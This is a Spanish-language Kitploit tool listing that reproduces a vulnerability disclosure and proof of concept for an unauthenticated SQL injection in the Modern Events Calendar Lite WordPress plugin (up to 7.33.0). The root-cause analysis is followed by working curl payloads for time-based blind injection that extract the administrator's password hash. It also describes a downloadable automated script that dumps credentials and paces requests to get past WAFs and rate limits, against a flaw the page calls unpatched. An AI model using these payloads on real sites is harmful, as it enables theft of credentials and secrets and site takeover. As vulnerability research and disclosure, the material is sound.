Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Inyección SQL no autenticada | Kitploit
Herramientas/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Inyección SQL no autenticada

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Modern Events Calendar Lite <= 7.33.0 — Inyección SQL no autenticada mediante mec_list_load_more (atts[include] / atts[exclude])

Resumen

DetalleValor
PluginModern Events Calendar Lite
Slugmodern-events-calendar-lite
AutorWebnus
Afectado<= 7.33.0 (la versión Lite actual distribuida por el proveedor). El fallo está presente en todo el rango posterior a w.org; confirmado en laboratorio en 6.5.6 y 7.33.0, confirmado estáticamente en 5.21.2. 6.5.6 = última compilación de wordpress.org (congelada en el cierre del 2022-05-11); 7.33.0 = compilación actual distribuida desde mec.webnus.net
Instalaciones activasConteo de wordpress.org oculto desde el cierre; históricamente más de 100.000. Aún distribuida/actualizada activamente por el proveedor (Lite vía mec.webnus.net; la misma base de código 7.x subyace al MEC Pro vendido activamente)
CWECWE-89 (Inyección SQL)
VulnerabilidadInyección SQL ciega no autenticada (basada en tiempo / booleana / en errores)
Privilegio requeridoNinguno (wp_ajax_nopriv_* — pre-autenticación)
Interacción del usuarioNinguna
CVSS v3.17.5 (Alta) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EstadoVerificado en laboratorio de extremo a extremo en 7.33.0 (actual) y 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Descripción

Modern Events Calendar Lite registra una familia de acciones "load more" no autenticadas en admin-ajax.php para sus skins de listado de eventos (list, grid, masonry, agenda, timeline, tile, custom). Cada manejador lee el array de solicitud atts controlado por el atacante, lo pasa a través de un helper llamado sanitize_deep_array() que — cuando se llama con sus argumentos por defecto — no realiza ninguna sanitización — y luego concatena los valores de atts['include'] (y atts['exclude']) crudos dentro de un fragmento SQL post_id IN (...) que se ejecuta con $wpdb->get_results() y sin $wpdb->prepare().

Dado que los puntos de entrada están registrados en wp_ajax_nopriv_*, no se requiere autenticación, cuenta, nonce ni interacción del usuario. Un atacante remoto no autenticado puede inyectar SQL arbitrario en la cláusula WHERE de un SELECT contra wp_mec_dates y leer cualquier dato en la base de datos de WordPress (hashes de contraseñas de usuarios, secretos/claves de wp_options, datos de otros plugins) mediante técnicas ciegas basadas en tiempo / booleanas / en errores.


Causa raíz

1. Un "sanitizador" que no sanitiza nada en la ruta por defecto

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

El guard (is_array($excludes) and !count($excludes)) convierte la función en una operación nula completa cuando $excludes es el array vacío por defecto — cada valor se copia tal cual. La intención era evidentemente "si hay una lista de exclusión, omitir esas claves"; la lógica booleana, en cambio, omite todo cuando no se proporciona ninguna lista de exclusión.

2. El llamador no proporciona $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) se llama con un único argumento → $excludes toma por defecto array() → se ejecuta la rama de operación nula anterior → $atts es el $_REQUEST['atts'] crudo y no confiable.

3. Concatenación cruda dentro de la cláusula IN (...)

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

Los elementos del array se pasan directamente a implode() dentro de la cadena SQL sin conversión a entero ni escape. (absint()/(int) en cada elemento habría cerrado esto.)

4. Ejecución sin sentencia preparada

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

La cadena completamente construida se entrega tal cual a $wpdb->get_results().

Flujo de la contaminación (solicitud → sumidero):

root@kitploit:~
$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

Accesibilidad

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

El registro nopriv hace que el endpoint sea alcanzable antes de la autenticación. La misma forma de load_more() y el constructor de consultas compartido en skins.php están presentes en los skins hermanos, cada uno con su propia acción wp_ajax_nopriv_*, por lo que la misma inyección es alcanzable a través de cualquiera de:

Acción AJAX (nopriv)Skin manejador
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

No se comprueba ningún nonce en load_more(), y la acción no requiere que haya ningún shortcode del plugin en una página — los manejadores AJAX se registran incondicionalmente en el init.


Prueba de Concepto (verificada en laboratorio, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

Todas las solicitudes son no autenticadas (sin cookie, sin nonce). El valor inyectado se coloca en atts[include][]; el payload cierra los dos paréntesis abiertos del grupo IN ((...) AND (... IN ( y agrega un OR <sleep> de nivel superior para que la condición se evalúe para cada fila escaneada, y luego comenta el )) ORDER BY ... final:

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

La consulta exacta ejecutada (capturada desde WP_DEBUG_LOG) para un canario de error atts[include][]=0)MEC_SQLI_CANARY fue:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— el token literal MEC_SQLI_CANARY aparece tal cual en la sentencia ejecutada, lo que confirma la concatenación cruda. El parámetro atts[exclude][] (skins.php:803 / 603, NOT IN) es inyectable de forma idéntica (confirmado en laboratorio: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). La consulta y la inyección idénticas se reprodujeron en 7.33.0 (compilación actual): mismo canario, mismo comportamiento SLEEP.

PoC automatizado

mec-unauth-sqli-poc.py (incluido) es completamente autónomo y no requiere credenciales: confirma la inyección (línea base vs. SLEEP), luego realiza extracción ciega basada en tiempo de datos arbitrarios (por defecto: @@version, el usuario de la base de datos y el user_login:user_pass del primer administrador). Valida cada respuesta (HTTP 200) y espacia las solicitudes con --delay + back-off para sobrevivir a WAF/limitación de tasa (p. ej., mod_evasive). No se modifica ningún dato (contexto SELECT de solo lectura).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Impacto

Acceso de lectura completo, no autenticado y alcanzable por red a la base de datos: hashes de contraseñas de wp_users, wp_options (auth_key, secretos de API, tokens) y cualquier otra tabla. En la práctica, esto encadena hacia la toma completa del sitio (cracking de hashes sin conexión, robo de secretos/sesiones). El impacto en la integridad es limitado — la inyección se ejecuta en un SELECT a través de $wpdb->get_results(), que no permite consultas apiladas — de ahí I:N. Un uso intensivo de SLEEP/BENCHMARK podría degradar la disponibilidad, pero el impacto principal y demostrado de forma fiable es la confidencialidad (C:H), lo que da un CVSS 7.5.


Archivos afectados

Los números de línea se indican para 7.33.0 (actual) con 6.5.6 entre paréntesis; el código es idéntico en todo el rango.

ArchivoLínea (7.33.0 / 6.5.6)Problema
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() es una operación nula cuando $excludes es el array vacío por defecto (el guard !count($excludes))
app/skins/list.php535 / 501atts se lee de $_REQUEST y se pasa a sanitize_deep_array() sin $excludes (en load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → punto de entrada no autenticado
app/libraries/skins.php806 / 603-606los arrays include / exclude se pasan con implode() crudos a post_id IN (...) / NOT IN (...) (exclude en 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() ejecuta $wpdb->get_results() sin prepare()

Los skins hermanos (grid, masonry, agenda, timeline, tile, custom) comparten el mismo load_more() + constructor de consultas de skins.php y cada uno registra una acción wp_ajax_nopriv_* → mismo fallo, múltiples puntos de entrada.


Diferencia con respecto a CVEs anteriores de inyección SQL en Modern Events Calendar

Este es un punto de inyección distinto y no reportado previamente. Cada inyección SQL de MEC documentada públicamente apunta a una acción AJAX y un parámetro diferentes, y todas fueron parcheadas en versiones posteriores a este hallazgo (confirmado en laboratorio como activo en 7.33.0):

ReferenciaAutenticaciónAcción AJAXParámetroCorregido en
CVE-2021-24946No autenticadamec_load_single_pagetime6.1.5
CVE-2021-4458No autenticada (solo si addslashes/input-slashing está deshabilitado)mec_load_single_pageid6.4.0
CVE-2021-24149Autenticada (autor+/suscriptor)mec_fes_formmec[post_id]5.16.6
Este informeNo autenticada (sin condición previa)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]sin parchear (≤ 7.33.0)
  • Ruta de código diferente. Los problemas no autenticados anteriores están en el manejador de evento único mec_load_single_page; este está en la paginación "load more" del skin (load_more() → MEC_skin::initialize() → constructor post_id IN (...) en app/libraries/skins.php), alcanzado a través de la rama de operación nula por defecto de sanitize_deep_array(). Los parches de mec_load_single_page no tocan skins.php.
  • Sin condición previa de configuración. CVE-2021-4458 (id) solo era explotable con el slashing de entrada de PHP/WordPress deshabilitado (un estado no predeterminado) porque ese valor se encuentra en un contexto entre comillas. Aquí los valores atts[include]/atts[exclude] caen en un contexto numérico IN(...) sin comillas y se explotan con paréntesis + palabras clave SQL (0)) OR SLEEP(3)#), que wp_magic_quotes() no neutraliza. Por lo tanto, es explotable en una instalación de WordPress por defecto — confirmado en laboratorio en WP 7.0 estándar (magic quotes activadas).
  • Sobrevive a todos los parches anteriores. Confirmado activo en 7.33.0 — cuatro años y una versión mayor después del último parche de mec_load_single_page (6.4.0).

Nota de divulgación / alcance

Modern Events Calendar Lite fue eliminado de wordpress.org el 2022-05-11 ("Motivo: Violación de directrices"), por lo que la compilación de wordpress.org está congelada en 6.5.6. Esto no significa que el plugin esté abandonado — Webnus continuó el desarrollo fuera de la plataforma: la compilación Lite actual distribuida desde mec.webnus.net es 7.33.0, y la ruta de código vulnerable es idéntica byte por byte allí (confirmado en laboratorio; la SQLi se dispara de forma idéntica en 7.33.0). Por lo tanto, el fallo afecta a todas las versiones del rango posterior a la eliminación, no solo a la copia congelada de wordpress.org.

Implicaciones de enrutamiento (la objeción de "cerrado en wordpress.org" es mucho más débil de lo que parece a primera vista):

  • Es un producto actual, distribuido por el proveedor y con soporte, no código abandonado — la divulgación coordinada a Webnus es el canal principal; ellos distribuyen actualizaciones activamente y deberían parchearlo.
  • MEC Pro (vendido activamente; 7.x actual) está construido sobre esta misma base de código 7.x. app/libraries/skins.php, app/libraries/main.php y app/libraries/db.php son librerías centrales compartidas, por lo que Pro está casi con certeza afectado. Esto debería confirmarse contra el código fuente de Pro antes de afirmarlo formalmente, pero la arquitectura de librerías compartidas lo hace muy probable. Un impacto confirmado en Pro hace que el hallazgo esté inequívocamente dentro del alcance de Patchstack (un componente vendido públicamente) y que valga la pena un CVE de MITRE/Patchstack independientemente del estado en el listado de wordpress.org.
  • Para los consumidores que se basan específicamente en el listado de wordpress.org (algunos criterios de recompensa de Wordfence; la exclusión de "componente cerrado" de Patchstack aplicada a la compilación gratuita de Lite), citen el impacto del 7.33.0 distribuido por el proveedor + Pro en lugar del 6.5.6 congelado.

Un CVE está justificado por méritos propios: inyección SQL no autenticada, alcanzable por red y con lectura completa de la base de datos en un producto actual distribuido por el proveedor con una base histórica de instalaciones de seis cifras.


Cronología

FechaEvento
2026-06-03Descubierto durante una revisión automatizada de plugins; verificado de extremo a extremo (sin autenticación) en MEC Lite 6.5.6 (compilación congelada de wordpress.org)
2026-06-04Re-verificado de extremo a extremo en 7.33.0 (Lite actual distribuido por el proveedor desde mec.webnus.net); confirmado que el código/inyección es idéntico: el hallazgo es actual, no un artefacto de la versión eliminada
2026-06-04Notificación al proveedor (Webnus) + solicitud de CVE a WPScan; confirmar que MEC Pro comparte la ruta
2026-06-05Vulnerabilidad verificada y CVE asignado
Descargar herramienta